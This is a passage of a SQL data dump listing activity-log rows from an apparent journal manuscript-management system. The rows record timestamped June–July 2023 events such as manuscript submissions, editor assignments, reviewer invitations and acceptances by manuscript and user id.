Manuscript',13808,'Editor',1740),(128297,'2023-06-20 17:04:02','Editor has been Editor Decision Accepted article',13808,'Editor',1740),(128298,'2023-06-20 17:04:15','Editor has Accepted to review Manuscript',13807,'Editor',1740),(128299,'2023-06-20 17:04:24','Editor has been Editor Decision Accepted article',13807,'Editor',1740),(128300,'2023-06-20 17:04:30','Editor has Accepted to review Manuscript',13806,'Editor',1740),(128301,'2023-06-20 17:04:41','Editor has been Editor Decision Accepted article',13806,'Editor',1740),(128302,'2023-06-20 17:04:59','Editor has Accepted to review Manuscript',13805,'Editor',1740),(128303,'2023-06-20 17:05:12','Editor has been Editor Decision Accepted article',13805,'Editor',1740),(128304,'2023-06-20 17:05:19','Editor has Accepted to review Manuscript',13804,'Editor',1740),(128305,'2023-06-20 17:05:27','Editor has been Editor Decision Accepted article',13804,'Editor',1740),(128306,'2023-06-20 17:05:31','Editor has Accepted to review Manuscript',13803,'Editor',1740),(128307,'2023-06-20 17:05:38','Editor has been Editor Decision Accepted article',13803,'Editor',1740),(128308,'2023-06-20 17:05:49','Editor has Accepted to review Manuscript',13802,'Editor',1740),(128309,'2023-06-20 17:05:56','Editor has been Editor Decision Accepted article',13802,'Editor',1740),(128310,'2023-06-20 17:06:10','Editor has Accepted to review Manuscript',13801,'Editor',1740),(128311,'2023-06-20 17:06:21','Editor has been Editor Decision Accepted article',13801,'Editor',1740),(128312,'2023-06-20 17:06:37','Editor has Accepted to review Manuscript',13800,'Editor',1740),(128313,'2023-06-20 17:06:47','Editor has been Editor Decision Accepted article',13800,'Editor',1740),(128314,'2023-06-20 17:06:52','Editor has Accepted to review Manuscript',13799,'Editor',1740),(128315,'2023-06-20 17:07:02','Editor has been Editor Decision Accepted article',13799,'Editor',1740),(128316,'2023-06-21 07:48:49','Manuscript Submitted by Author using Submission form',13847,'Author',13950),(128317,'2023-06-21 10:39:04','Publisher has been Accepted Articles  article',13799,'Publisher',1033),(128318,'2023-06-21 10:39:23','Publisher has been Accepted Articles  article',13800,'Publisher',1033),(128319,'2023-06-21 10:39:40','Publisher has been Accepted Articles  article',13801,'Publisher',1033),(128320,'2023-06-21 10:39:57','Publisher has been Accepted Articles  article',13802,'Publisher',1033),(128321,'2023-06-21 10:40:15','Publisher has been Accepted Articles  article',13803,'Publisher',1033),(128322,'2023-06-21 11:50:53','Manuscript Submitted by Publisher',13848,'',1050),(128323,'2023-06-21 12:01:12','Publisher has been Accepted Articles  article',13786,'',1050),(128324,'2023-06-21 12:01:59','Publisher has been Accepted Articles  article',13791,'',1050),(128325,'2023-06-21 14:11:59','Publisher has been Accepted Articles  article',13804,'Publisher',1033),(128326,'2023-06-21 14:12:01','Publisher has been Accepted Articles  article',13804,'Publisher',1033),(128327,'2023-06-21 14:12:36','Publisher has been Accepted Articles  article',13805,'Publisher',1033),(128328,'2023-06-21 14:13:07','Publisher has been Accepted Articles  article',13806,'Publisher',1033),(128329,'2023-06-21 14:13:40','Publisher has been Accepted Articles  article',13807,'Publisher',1033),(128330,'2023-06-21 14:14:34','Publisher has been Accepted Articles  article',13808,'Publisher',1033),(128331,'2023-06-21 15:35:07','Publisher has been Assigned Editor',13843,'Publisher',645),(128332,'2023-06-21 17:21:00','Publisher has been Assigned Editor',13846,'Publisher',1009),(128333,'2023-06-21 17:24:05','Manuscript Submitted by Publisher',13849,'',1050),(128334,'2023-06-21 17:37:44','Manuscript Submitted by Publisher',13850,'',1050),(128335,'2023-06-21 21:18:25','Manuscript Submitted by Author using Submission form',13851,'Author',13954),(128336,'2023-06-22 12:00:34','Editor has Accepted to review Manuscript',13846,'Editor',1749),(128337,'2023-06-22 12:01:41','Editor has Invited Reviewer',13846,'Editor',1749),(128338,'2023-06-22 12:01:41','Editor has Invited Reviewer',13846,'Editor',1749),(128339,'2023-06-22 12:01:41','Editor has Invited Reviewer',13846,'Editor',1749),(128340,'2023-06-22 12:01:42','Editor has Invited Reviewer',13846,'Editor',1749),(128341,'2023-06-22 12:01:42','Editor has Invited Reviewer',13846,'Editor',1749),(128342,'2023-06-22 12:01:43','Editor has Invited Reviewer',13846,'Editor',1749),(128343,'2023-06-22 12:01:43','Editor has Invited Reviewer',13846,'Editor',1749),(128344,'2023-06-22 12:01:44','Editor has Invited Reviewer',13846,'Editor',1749),(128345,'2023-06-22 12:01:44','Editor has Invited Reviewer',13846,'Editor',1749),(128346,'2023-06-22 12:01:45','Editor has Invited Reviewer',13846,'Editor',1749),(128347,'2023-06-22 12:01:45','Editor has Invited Reviewer',13846,'Editor',1749),(128348,'2023-06-22 12:01:46','Editor has Invited Reviewer',13846,'Editor',1749),(128349,'2023-06-22 12:01:46','Editor has Invited Reviewer',13846,'Editor',1749),(128350,'2023-06-22 12:01:46','Editor has Invited Reviewer',13846,'Editor',1749),(128351,'2023-06-22 12:01:47','Editor has Invited Reviewer',13846,'Editor',1749),(128352,'2023-06-22 12:01:47','Editor has Invited Reviewer',13846,'Editor',1749),(128353,'2023-06-22 12:01:47','Editor has Invited Reviewer',13846,'Editor',1749),(128354,'2023-06-22 12:01:48','Editor has Invited Reviewer',13846,'Editor',1749),(128355,'2023-06-22 12:01:48','Editor has Invited Reviewer',13846,'Editor',1749),(128356,'2023-06-22 12:01:49','Editor has Invited Reviewer',13846,'Editor',1749),(128357,'2023-06-22 12:01:49','Editor has Invited Reviewer',13846,'Editor',1749),(128358,'2023-06-22 12:01:50','Editor has Invited Reviewer',13846,'Editor',1749),(128359,'2023-06-22 12:01:50','Editor has Invited Reviewer',13846,'Editor',1749),(128360,'2023-06-22 12:01:50','Editor has Invited Reviewer',13846,'Editor',1749),(128361,'2023-06-22 12:01:51','Editor has Invited Reviewer',13846,'Editor',1749),(128362,'2023-06-22 12:01:52','Editor has Invited Reviewer',13846,'Editor',1749),(128363,'2023-06-22 12:01:52','Editor has Invited Reviewer',13846,'Editor',1749),(128364,'2023-06-22 12:01:53','Editor has Invited Reviewer',13846,'Editor',1749),(128365,'2023-06-22 12:01:53','Editor has Invited Reviewer',13846,'Editor',1749),(128366,'2023-06-22 12:01:53','Editor has Invited Reviewer',13846,'Editor',1749),(128367,'2023-06-22 12:01:54','Editor has Invited Reviewer',13846,'Editor',1749),(128368,'2023-06-22 12:01:54','Editor has Invited Reviewer',13846,'Editor',1749),(128369,'2023-06-22 13:13:08','Publisher has been Assigned Editor',13847,'',1212),(128370,'2023-06-22 17:55:06','Editor has Accepted to review Manuscript',13843,'Editor',1708),(128371,'2023-06-22 17:55:07','Editor has Accepted to review Manuscript',13843,'Editor',1708),(128372,'2023-06-22 17:55:17','Editor has been Editor Decision Accepted article',13843,'Editor',1708),(128373,'2023-06-22 17:55:44','Manuscript Updated',13843,'Publisher',645),(128374,'2023-06-22 17:55:50','Manuscript Updated',13843,'Publisher',645),(128375,'2023-06-22 17:56:11','Publisher has been Accepted Articles  article',13843,'Publisher',645),(128376,'2023-06-22 17:56:21','Manuscript Updated',13843,'Publisher',645),(128377,'2023-06-22 17:56:31','Manuscript Updated',13832,'Publisher',645),(128378,'2023-06-22 17:56:52','Publisher has been Accepted Articles  article',13832,'Publisher',645),(128379,'2023-06-22 17:57:01','Manuscript Updated',13832,'Publisher',645),(128380,'2023-06-22 17:57:18','Manuscript Updated',13831,'Publisher',645),(128381,'2023-06-22 17:57:36','Publisher has been Accepted Articles  article',13831,'Publisher',645),(128382,'2023-06-22 17:57:45','Manuscript Updated',13831,'Publisher',645),(128383,'2023-06-22 17:57:55','Manuscript Updated',13830,'Publisher',645),(128384,'2023-06-22 17:58:13','Publisher has been Accepted Articles  article',13830,'Publisher',645),(128385,'2023-06-22 17:58:25','Manuscript Updated',13830,'Publisher',645),(128386,'2023-06-22 17:58:43','Manuscript Updated',13829,'Publisher',645),(128387,'2023-06-22 17:59:04','Publisher has been Accepted Articles  article',13829,'Publisher',645),(128388,'2023-06-22 17:59:16','Manuscript Updated',13829,'Publisher',645),(128389,'2023-06-22 17:59:25','Manuscript Updated',13825,'Publisher',645),(128390,'2023-06-22 17:59:40','Publisher has been Accepted Articles  article',13825,'Publisher',645),(128391,'2023-06-22 17:59:51','Manuscript Updated',13825,'Publisher',645),(128392,'2023-06-22 18:00:07','Manuscript Updated',13824,'Publisher',645),(128393,'2023-06-22 18:00:23','Publisher has been Accepted Articles  article',13824,'Publisher',645),(128394,'2023-06-22 18:00:30','Manuscript Updated',13824,'Publisher',645),(128395,'2023-06-22 18:00:40','Manuscript Updated',13823,'Publisher',645),(128396,'2023-06-22 18:00:54','Publisher has been Accepted Articles  article',13823,'Publisher',645),(128397,'2023-06-22 18:01:03','Manuscript Updated',13823,'Publisher',645),(128398,'2023-06-22 18:01:17','Manuscript Updated',13820,'Publisher',645),(128399,'2023-06-22 18:01:35','Publisher has been Accepted Articles  article',13820,'Publisher',645),(128400,'2023-06-22 18:01:45','Manuscript Updated',13820,'Publisher',645),(128401,'2023-06-22 18:01:58','Manuscript Updated',13816,'Publisher',645),(128402,'2023-06-22 18:02:17','Publisher has been Accepted Articles  article',13816,'Publisher',645),(128403,'2023-06-23 09:14:46','Manuscript Submitted by Publisher',13853,'Publisher',48),(128404,'2023-06-23 10:04:36','Publisher has been Assigned Editor',13845,'Publisher',994),(128405,'2023-06-23 10:04:49','Publisher has been Assigned Editor',13844,'Publisher',994),(128406,'2023-06-23 10:19:06','Manuscript Submitted by Publisher',13854,'Publisher',1009),(128407,'2023-06-23 11:24:44','Manuscript Submitted by Publisher',13855,'Publisher',1009),(128408,'2023-06-23 12:12:58','Manuscript Submitted by Publisher',13856,'Publisher',1009),(128409,'2023-06-23 14:12:46','Manuscript Submitted by Publisher',13857,'Publisher',994),(128410,'2023-06-23 14:14:02','Manuscript Submitted by Publisher',13858,'Publisher',994),(128411,'2023-06-23 16:39:39','Publisher has been Assigned Editor',13853,'Publisher',48),(128412,'2023-06-24 09:44:04','Manuscript Submitted by Publisher',13859,'',1050),(128413,'2023-06-24 10:31:37','Manuscript Submitted by Publisher',13860,'Publisher',645),(128414,'2023-06-24 10:49:59','Publisher has been Assigned Editor',13858,'Publisher',994),(128415,'2023-06-24 10:50:13','Publisher has been Assigned Editor',13857,'Publisher',994),(128416,'2023-06-24 11:45:59','Publisher has Invited Reviewer',13853,'Publisher',48),(128417,'2023-06-24 11:46:04','Publisher has Invited Reviewer',13853,'Publisher',48),(128418,'2023-06-24 12:19:08','Manuscript Submitted by Author using Submission form',13861,'Author',13963),(128419,'2023-06-24 12:28:39','Manuscript Submitted by Publisher',13862,'Publisher',673),(128420,'2023-06-24 12:30:17','Manuscript Submitted by Publisher',13863,'Publisher',673),(128421,'2023-06-24 12:31:48','Manuscript Submitted by Publisher',13864,'Publisher',673),(128422,'2023-06-24 12:33:49','Manuscript Submitted by Publisher',13865,'Publisher',673),(128423,'2023-06-24 12:35:36','Manuscript Submitted by Publisher',13866,'Publisher',673),(128424,'2023-06-24 12:36:58','Manuscript Submitted by Publisher',13867,'Publisher',274),(128425,'2023-06-24 12:38:49','Manuscript Submitted by Publisher',13868,'Publisher',274),(128426,'2023-06-24 12:49:53','Manuscript Submitted by Publisher',13869,'Publisher',673),(128427,'2023-06-24 13:00:17','Manuscript Submitted by Publisher',13870,'Publisher',673),(128428,'2023-06-26 09:31:55','Manuscript Submitted by Publisher',13871,'',1212),(128429,'2023-06-26 09:43:54','Publisher has been Assigned Editor',13856,'Publisher',1009),(128430,'2023-06-26 09:44:17','Publisher has been Assigned Editor',13855,'Publisher',1009),(128431,'2023-06-26 09:44:33','Publisher has been Assigned Editor',13854,'Publisher',1009),(128432,'2023-06-26 09:45:46','Publisher has Invited Reviewer',13856,'Publisher',1009),(128433,'2023-06-26 09:45:46','Publisher has Invited Reviewer',13856,'Publisher',1009),(128434,'2023-06-26 09:45:47','Publisher has Invited Reviewer',13856,'Publisher',1009),(128435,'2023-06-26 09:45:48','Publisher has Invited Reviewer',13856,'Publisher',1009),(128436,'2023-06-26 09:46:36','Publisher has Invited Reviewer',13855,'Publisher',1009),(128437,'2023-06-26 09:46:36','Publisher has Invited Reviewer',13855,'Publisher',1009),(128438,'2023-06-26 09:46:37','Publisher has Invited Reviewer',13855,'Publisher',1009),(128439,'2023-06-26 09:46:38','Publisher has Invited Reviewer',13855,'Publisher',1009),(128440,'2023-06-26 09:46:38','Publisher has Invited Reviewer',13855,'Publisher',1009),(128441,'2023-06-26 09:47:35','Publisher has Invited Reviewer',13854,'Publisher',1009),(128442,'2023-06-26 09:48:05','Publisher has Invited Reviewer',13854,'Publisher',1009),(128443,'2023-06-26 09:48:06','Publisher has Invited Reviewer',13854,'Publisher',1009),(128444,'2023-06-26 09:48:06','Publisher has Invited Reviewer',13854,'Publisher',1009),(128445,'2023-06-26 09:48:07','Publisher has Invited Reviewer',13854,'Publisher',1009),(128446,'2023-06-26 10:14:59','Publisher has been Accepted Articles  article',13835,'Publisher',994),(128447,'2023-06-26 10:30:36','Manuscript Updated',13837,'Publisher',994),(128448,'2023-06-26 10:30:58','Publisher has been Accepted Articles  article',13837,'Publisher',994),(128449,'2023-06-26 10:31:06','Manuscript Updated',13837,'Publisher',994),(128450,'2023-06-26 10:32:20','Editor has Accepted to review Manuscript',13858,'Editor',1790),(128451,'2023-06-26 10:32:24','Editor has Accepted to review Manuscript',13857,'Editor',1790),(128452,'2023-06-26 10:32:29','Editor has Accepted to review Manuscript',13845,'Editor',1790),(128453,'2023-06-26 10:32:33','Editor has Accepted to review Manuscript',13844,'Editor',1790),(128454,'2023-06-26 10:32:38','Editor has Accepted to review Manuscript',13841,'Editor',1790),(128455,'2023-06-26 10:32:44','Editor has Accepted to review Manuscript',13840,'Editor',1790),(128456,'2023-06-26 10:32:49','Editor has Accepted to review Manuscript',13839,'Editor',1790),(128457,'2023-06-26 10:32:55','Editor has Accepted to review Manuscript',13838,'Editor',1790),(128458,'2023-06-26 10:33:01','Editor has Accepted to review Manuscript',13837,'Editor',1790),(128459,'2023-06-26 10:33:05','Editor has Accepted to review Manuscript',13835,'Editor',1790),(128460,'2023-06-26 10:42:35','Manuscript Submitted by Publisher',13872,'Publisher',1009),(128461,'2023-06-26 10:46:30','Manuscript Updated',13838,'Publisher',994),(128462,'2023-06-26 10:46:46','Publisher has been Accepted Articles  article',13838,'Publisher',994),(128463,'2023-06-26 10:46:57','Manuscript Updated',13838,'Publisher',994),(128464,'2023-06-26 11:04:00','Manuscript Updated',13839,'Publisher',994),(128465,'2023-06-26 11:04:44','Publisher has been Accepted Articles  article',13839,'Publisher',994),(128466,'2023-06-26 11:04:52','Manuscript Updated',13839,'Publisher',994),(128467,'2023-06-26 11:18:14','Manuscript Updated',13840,'Publisher',994),(128468,'2023-06-26 11:18:35','Publisher has been Accepted Articles  article',13840,'Publisher',994),(128469,'2023-06-26 11:18:43','Manuscript Updated',13840,'Publisher',994),(128470,'2023-06-26 11:31:30','Manuscript Submitted by Publisher',13873,'Publisher',1009),(128471,'2023-06-26 11:40:44','Manuscript Updated',13841,'Publisher',994),(128472,'2023-06-26 11:41:03','Publisher has been Accepted Articles  article',13841,'Publisher',994),(128473,'2023-06-26 11:49:53','Manuscript Updated',13844,'Publisher',994),(128474,'2023-06-26 11:50:13','Publisher has been Accepted Articles  article',13844,'Publisher',994),(128475,'2023-06-26 11:50:21','Manuscript Updated',13844,'Publisher',994),(128476,'2023-06-26 11:58:26','Manuscript Updated',13845,'Publisher',994),(128477,'2023-06-26 11:59:06','Publisher has been Accepted Articles  article',13845,'Publisher',994),(128478,'2023-06-26 11:59:12','Manuscript Updated',13845,'Publisher',994),(128479,'2023-06-26 12:11:15','Manuscript Updated',13857,'Publisher',994),(128480,'2023-06-26 12:11:33','Publisher has been Accepted Articles  article',13857,'Publisher',994),(128481,'2023-06-26 12:11:43','Manuscript Updated',13857,'Publisher',994),(128482,'2023-06-26 13:12:12','Publisher has been Accepted Articles  article',13858,'Publisher',994),(128483,'2023-06-26 13:28:30','Manuscript Submitted by Publisher',13874,'Publisher',1009),(128484,'2023-06-26 15:29:56','Editor has Accepted to review Manuscript',13854,'Editor',1749),(128485,'2023-06-26 15:30:30','Editor has Accepted to review Manuscript',13856,'Editor',1749),(128486,'2023-06-26 15:31:56','Editor has Invited Reviewer',13846,'Editor',1749),(128487,'2023-06-26 15:59:25','Reviewer has been sent email to Publisher',13846,'Reviewer',21446),(128488,'2023-06-27 10:26:58','Publisher has been Assigned Editor',13871,'',1212),(128489,'2023-06-27 10:47:23','Publisher has been Assigned Editor',13872,'Publisher',1009),(128490,'2023-06-27 10:47:52','Publisher has been Assigned Editor',13873,'Publisher',1009),(128491,'2023-06-27 11:26:27','Publisher has Invited Reviewer',13873,'Publisher',1009),(128492,'2023-06-27 11:26:28','Publisher has Invited Reviewer',13873,'Publisher',1009),(128493,'2023-06-27 11:26:28','Publisher has Invited Reviewer',13873,'Publisher',1009),(128494,'2023-06-27 11:26:28','Publisher has Invited Reviewer',13873,'Publisher',1009),(128495,'2023-06-27 11:26:29','Publisher has Invited Reviewer',13873,'Publisher',1009),(128496,'2023-06-27 11:27:03','Publisher has Invited Reviewer',13872,'Publisher',1009),(128497,'2023-06-27 11:30:33','Publisher has been Assigned Editor',13868,'Publisher',274),(128498,'2023-06-27 11:30:44','Publisher has been Assigned Editor',13867,'Publisher',274),(128499,'2023-06-27 11:30:51','Publisher has been Assigned Editor',13861,'Publisher',274),(128500,'2023-06-27 15:58:36','Editor has Accepted to review Manuscript',13873,'Editor',1749),(128501,'2023-06-27 15:59:05','Editor has Invited Reviewer',13873,'Editor',1749),(128502,'2023-06-27 16:53:49','Reviewer has submitted comments',13873,'Reviewer',21631),(128503,'2023-06-28 09:14:12','Publisher has been Assigned Editor',13870,'Publisher',673),(128504,'2023-06-28 09:14:25','Publisher has been Assigned Editor',13869,'Publisher',673),(128505,'2023-06-28 09:14:37','Publisher has been Assigned Editor',13866,'Publisher',673),(128506,'2023-06-28 09:15:07','Publisher has been Assigned Editor',13865,'Publisher',673),(128507,'2023-06-28 09:15:23','Publisher has been Assigned Editor',13864,'Publisher',673),(128508,'2023-06-28 09:15:36','Publisher has been Assigned Editor',13863,'Publisher',673),(128509,'2023-06-28 09:15:51','Publisher has been Assigned Editor',13862,'Publisher',673),(128510,'2023-06-28 10:05:34','Manuscript Submitted by Publisher',13874,'Publisher',673),(128511,'2023-06-28 10:07:35','Manuscript Submitted by Publisher',13875,'Publisher',1009),(128512,'2023-06-28 10:17:34','Reviewer has submitted comments',13853,'Reviewer',11162),(128513,'2023-06-28 10:18:03','Editor has Accepted to review Manuscript',13853,'Editor',194),(128514,'2023-06-28 10:18:17','Editor has been Editor Decision Accepted article',13853,'Editor',194),(128515,'2023-06-28 10:19:22','Publisher: Accept Notification has been sent to Author',13853,'Publisher',48),(128516,'2023-06-28 10:21:07','Editor has Accepted to review Manuscript',13769,'Editor',1406),(128517,'2023-06-28 10:21:20','Editor has been Editor Decision Accepted article',13769,'Editor',1406),(128518,'2023-06-28 10:21:59','Manuscript Updated',13853,'Publisher',48),(128519,'2023-06-28 10:22:37','Publisher has been Accepted Articles  article',13853,'Publisher',48),(128520,'2023-06-28 10:22:50','Manuscript Updated',13853,'Publisher',48),(128521,'2023-06-28 10:22:52','Publisher has been Accepted Articles  article',13769,'',1212),(128522,'2023-06-28 10:23:09','Manuscript Submitted by Publisher',13876,'Publisher',673),(128523,'2023-06-28 10:30:43','Manuscript Submitted by Publisher',13877,'Publisher',673),(128524,'2023-06-28 11:59:21','Manuscript Submitted by Publisher',13878,'Publisher',48),(128525,'2023-06-28 15:57:19','Editor has Accepted to review Manuscript',13870,'Editor',1732),(128526,'2023-06-28 15:57:34','Editor has been Editor Decision Accepted article',13870,'Editor',1732),(128527,'2023-06-28 15:57:40','Editor has Accepted to review Manuscript',13869,'Editor',1732),(128528,'2023-06-28 15:57:55','Editor has been Editor Decision Accepted article',13869,'Editor',1732),(128529,'2023-06-28 15:58:00','Editor has Accepted to review Manuscript',13866,'Editor',1732),(128530,'2023-06-28 15:58:17','Editor has been Editor Decision Accepted article',13866,'Editor',1732),(128531,'2023-06-28 15:58:23','Editor has Accepted to review Manuscript',13865,'Editor',1732),(128532,'2023-06-28 15:58:35','Editor has been Editor Decision Accepted article',13865,'Editor',1732),(128533,'2023-06-28 15:58:41','Editor has Accepted to review Manuscript',13864,'Editor',1732),(128534,'2023-06-28 15:58:55','Editor has been Editor Decision Accepted article',13864,'Editor',1732),(128535,'2023-06-28 15:59:01','Editor has Accepted to review Manuscript',13863,'Editor',1732),(128536,'2023-06-28 15:59:09','Editor has been Editor Decision Accepted article',13863,'Editor',1732),(128537,'2023-06-28 15:59:15','Editor has Accepted to review Manuscript',13862,'Editor',1732),(128538,'2023-06-28 15:59:35','Editor has been Editor Decision Accepted article',13862,'Editor',1732),(128539,'2023-06-28 15:59:56','Manuscript Updated',13870,'Publisher',673),(128540,'2023-06-28 16:00:14','Publisher has been Accepted Articles  article',13870,'Publisher',673),(128541,'2023-06-28 16:00:25','Manuscript Updated',13870,'Publisher',673),(128542,'2023-06-28 16:00:34','Manuscript Updated',13869,'Publisher',673),(128543,'2023-06-28 16:00:48','Publisher has been Accepted Articles  article',13869,'Publisher',673),(128544,'2023-06-28 16:00:56','Manuscript Updated',13869,'Publisher',673),(128545,'2023-06-28 16:01:06','Manuscript Updated',13866,'Publisher',673),(128546,'2023-06-28 16:01:24','Publisher has been Accepted Articles  article',13866,'Publisher',673),(128547,'2023-06-28 16:01:36','Manuscript Updated',13866,'Publisher',673),(128548,'2023-06-28 16:01:42','Manuscript Updated',13865,'Publisher',673),(128549,'2023-06-28 16:01:52','Publisher has been Accepted Articles  article',13865,'Publisher',673),(128550,'2023-06-28 16:02:02','Manuscript Updated',13865,'Publisher',673),(128551,'2023-06-28 16:02:09','Manuscript Updated',13864,'Publisher',673),(128552,'2023-06-28 16:02:19','Publisher has been Accepted Articles  article',13864,'Publisher',673),(128553,'2023-06-28 16:02:26','Manuscript Updated',13864,'Publisher',673),(128554,'2023-06-28 16:02:35','Manuscript Updated',13863,'Publisher',673),(128555,'2023-06-28 16:02:46','Publisher has been Accepted Articles  article',13863,'Publisher',673),(128556,'2023-06-28 16:02:58','Manuscript Updated',13863,'Publisher',673),(128557,'2023-06-28 16:03:10','Manuscript Updated',13862,'Publisher',673),(128558,'2023-06-28 16:03:23','Publisher has been Accepted Articles  article',13862,'Publisher',673),(128559,'2023-06-28 16:03:30','Manuscript Updated',13862,'Publisher',673),(128560,'2023-06-29 01:53:36','Author sent Email',13847,'Author',13950),(128561,'2023-06-29 09:36:43','Manuscript Submitted by Publisher',13879,'',1050),(128562,'2023-06-29 09:37:20','Manuscript Submitted by Publisher',13880,'Publisher',1009),(128563,'2023-06-29 10:02:04','Manuscript Submitted by Author using Submission form',13881,'Author',13980),(128564,'2023-06-29 10:06:50','Manuscript Submitted by Author using Submission form',13882,'Author',13981),(128565,'2023-06-29 10:09:24','Manuscript Submitted by Author using Submission form',13883,'Author',13982),(128566,'2023-06-29 10:12:06','Manuscript Submitted by Author using Submission form',13884,'Author',13983),(128567,'2023-06-29 10:14:56','Manuscript Submitted by Author using Submission form',13885,'Author',13984),(128568,'2023-06-29 11:36:52','Manuscript Submitted by Publisher',13886,'Publisher',48),(128569,'2023-06-29 13:26:33','Publisher has been Assigned Editor',13877,'Publisher',673),(128570,'2023-06-29 13:26:46','Publisher has been Assigned Editor',13876,'Publisher',673),(128571,'2023-06-29 13:32:03','Publisher has been Accepted Articles  article',13798,'Publisher',376),(128572,'2023-06-29 14:25:41','Editor has Accepted to review Manuscript',13877,'Editor',1732),(128573,'2023-06-29 14:25:59','Editor has been Editor Decision Accepted article',13877,'Editor',1732),(128574,'2023-06-29 14:26:05','Editor has Accepted to review Manuscript',13876,'Editor',1732),(128575,'2023-06-29 14:26:34','Editor has been Editor Decision Accepted article',13876,'Editor',1732),(128576,'2023-06-29 14:28:18','Manuscript Updated',13877,'Publisher',673),(128577,'2023-06-29 14:28:48','Publisher has been Accepted Articles  article',13877,'Publisher',673),(128578,'2023-06-29 14:28:59','Manuscript Updated',13877,'Publisher',673),(128579,'2023-06-29 14:29:08','Manuscript Updated',13876,'Publisher',673),(128580,'2023-06-29 14:29:21','Publisher has been Accepted Articles  article',13876,'Publisher',673),(128581,'2023-06-29 14:29:34','Manuscript Updated',13876,'Publisher',673),(128582,'2023-06-29 15:41:33','Publisher has been Assigned Editor',13878,'Publisher',48),(128583,'2023-06-30 11:36:12','Editor has Accepted to review Manuscript',13828,'Editor',1670),(128584,'2023-06-30 11:36:39','Editor has been Editor Decision Accepted article',13828,'Editor',1670),(128585,'2023-06-30 11:37:00','Editor has Accepted to review Manuscript',13861,'Editor',1664),(128586,'2023-06-30 11:37:12','Editor has been Editor Decision Accepted article',13861,'Editor',1664),(128587,'2023-06-30 11:37:33','Editor has Accepted to review Manuscript',13867,'Editor',1668),(128588,'2023-06-30 11:37:44','Editor has been Editor Decision Accepted article',13867,'Editor',1668),(128589,'2023-06-30 11:38:05','Editor has Accepted to review Manuscript',13868,'Editor',1789),(128590,'2023-06-30 11:38:16','Editor has been Editor Decision Accepted article',13868,'Editor',1789),(128591,'2023-06-30 13:17:01','Publisher has been Assigned Editor',13886,'Publisher',48),(128592,'2023-06-30 14:30:43','Manuscript Submitted by Publisher',13887,'Publisher',48),(128593,'2023-07-01 09:48:16','Manuscript Submitted by Publisher',13888,'',1050),(128594,'2023-07-01 09:56:02','Manuscript Submitted by Author using Submission form',13889,'Author',13987),(128595,'2023-07-01 10:51:26','Manuscript Submitted by Publisher',13890,'Publisher',75),(128596,'2023-07-01 11:06:48','Publisher has been Assigned Editor',13885,'Publisher',274),(128597,'2023-07-01 11:06:57','Publisher has been Assigned Editor',13884,'Publisher',274),(128598,'2023-07-01 11:07:05','Publisher has been Assigned Editor',13883,'Publisher',274),(128599,'2023-07-01 11:07:12','Publisher has been Assigned Editor',13882,'Publisher',274),(128600,'2023-07-01 11:37:59','Publisher has been Accepted Articles  article',13793,'',1050),(128601,'2023-07-01 13:09:49','Manuscript Submitted by Author using Submission form',13891,'Author',13989),(128602,'2023-07-01 14:53:12','Publisher has been Assigned Editor',13703,'',1279),(128603,'2023-07-01 14:53:35','Publisher has been Accepted Articles  article',13703,'',1279),(128604,'2023-07-02 13:08:06','Manuscript Submitted by Author',13892,'Author',13679),(128605,'2023-07-03 13:09:23','Publisher has been Assigned Editor',13892,'Publisher',376),(128606,'2023-07-03 13:09:35','Publisher has been Assigned Editor',13889,'Publisher',376),(128607,'2023-07-03 13:13:24','Publisher has been Assigned Editor',13887,'Publisher',48),(128608,'2023-07-03 14:01:24','Manuscript Submitted by Publisher',13893,'Publisher',48),(128609,'2023-07-03 14:15:23','Manuscript Submitted by Publisher',13894,'Publisher',48),(128610,'2023-07-03 14:47:31','Publisher has Invited Reviewer',13889,'Publisher',376),(128611,'2023-07-03 14:47:36','Publisher has Invited Reviewer',13889,'Publisher',376),(128612,'2023-07-03 14:47:40','Publisher has Invited Reviewer',13889,'Publisher',376),(128613,'2023-07-03 14:47:45','Publisher has Invited Reviewer',13889,'Publisher',376),(128614,'2023-07-03 14:48:42','Publisher has Invited Reviewer',13892,'Publisher',376),(128615,'2023-07-03 14:48:46','Publisher has Invited Reviewer',13892,'Publisher',376),(128616,'2023-07-03 14:48:51','Publisher has Invited Reviewer',13892,'Publisher',376),(128617,'2023-07-03 14:48:55','Publisher has Invited Reviewer',13892,'Publisher',376),(128618,'2023-07-03 15:07:47','Manuscript Submitted by Publisher',13895,'Publisher',48),(128619,'2023-07-03 15:15:13','Reviewer has submitted comments',13842,'Reviewer',15663),(128620,'2023-07-03 17:09:36','Publisher has been Assigned Editor',13890,'Publisher',75),(128621,'2023-07-03 17:13:09','Publisher has Invited Reviewer',13890,'Publisher',75),(128622,'2023-07-03 17:13:23','Publisher has Invited Reviewer',13890,'Publisher',75),(128623,'2023-07-03 17:14:14','Publisher has Invited Reviewer',13890,'Publisher',75),(128624,'2023-07-03 17:14:18','Publisher has Invited Reviewer',13890,'Publisher',75),(128625,'2023-07-03 17:15:28','Publisher has Invited Reviewer',13890,'Publisher',75),(128626,'2023-07-03 17:15:33','Publisher has Invited Reviewer',13890,'Publisher',75),(128627,'2023-07-03 17:16:28','Publisher has Invited Reviewer',13890,'Publisher',75),(128628,'2023-07-03 17:58:10','Manuscript Updated',13890,'Publisher',75),(128629,'2023-07-03 18:19:17','Manuscript Submitted by Author using Submission form',13896,'Author',13990),(128630,'2023-07-03 20:33:16','Reviewer has been sent email to Publisher',13890,'Reviewer',21529),(128631,'2023-07-04 09:37:01','Publisher has been Assigned Editor',13880,'Publisher',1009),(128632,'2023-07-04 10:07:02','Reviewer has submitted comments',13810,'Reviewer',11714),(128633,'2023-07-04 10:07:34','Editor has Accepted to review Manuscript',13810,'Editor',194),(128634,'2023-07-04 10:07:46','Editor has been Editor Decision Accepted article',13810,'Editor',194),(128635,'2023-07-04 10:08:22','Publisher has been Accepted Articles  article',13810,'Publisher',48),(128636,'2023-07-04 10:11:52','Manuscript Submitted by Publisher',13897,'Publisher',75),(128637,'2023-07-04 14:21:40','Publisher has been Assigned Editor',13896,'Publisher',274),(128638,'2023-07-04 14:24:40','Editor has Accepted to review Manuscript',13882,'Publisher',1789),(128639,'2023-07-04 14:25:25','Editor has been Editor Decision Accepted article',13882,'Editor',1789),(128640,'2023-07-04 14:25:36','Editor has Accepted to review Manuscript',13883,'Editor',1789),(128641,'2023-07-04 14:25:59','Editor has been Editor Decision Accepted article',13883,'Editor',1789),(128642,'2023-07-04 14:26:07','Editor has Accepted to review Manuscript',13896,'Editor',1789),(128643,'2023-07-04 14:26:12','Editor has Accepted to review Manuscript',13885,'Editor',1789),(128644,'2023-07-04 14:26:19','Editor has Accepted to review 